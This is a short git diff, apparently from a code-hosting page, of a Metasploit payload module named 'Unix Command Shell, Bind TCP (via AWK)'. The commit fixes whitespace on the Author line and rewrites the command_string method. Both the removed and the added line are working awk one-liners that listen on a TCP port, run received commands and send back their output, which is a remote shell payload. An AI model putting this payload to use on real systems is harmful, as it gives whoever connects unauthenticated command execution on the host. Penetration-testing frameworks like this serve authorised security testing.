Modifications done in each PR.
parent
e2988727fb
commit
b20401ca8c
|
@ -19,7 +19,7 @@ module Metasploit4
|
|||
super(merge_info(info,
|
||||
'Name' => 'Unix Command Shell, Bind TCP (via AWK)',
|
||||
'Description' => 'Listen for a connection and spawn a command shell via AWK',
|
||||
'Author' =>
|
||||
'Author' =>
|
||||
[
|
||||
'espreto <robertoespreto[at]gmail.com>',
|
||||
'Ulisses Castro <uss.thebug[at]gmail.com>'
|
||||
|
@ -50,7 +50,7 @@ module Metasploit4
|
|||
# Returns the command string to use for execution
|
||||
#
|
||||
def command_string
|
||||
"awk 'BEGIN{for(s=\"/inet/tcp/#{datastore['LPORT']}/0/0\";s|&getline c;close(c)){while(c|&getline)print$0|&s}}'"
|
||||
"awk 'BEGIN{s=\"/inet/tcp/#{datastore['LPORT']}/0/0\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'"
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue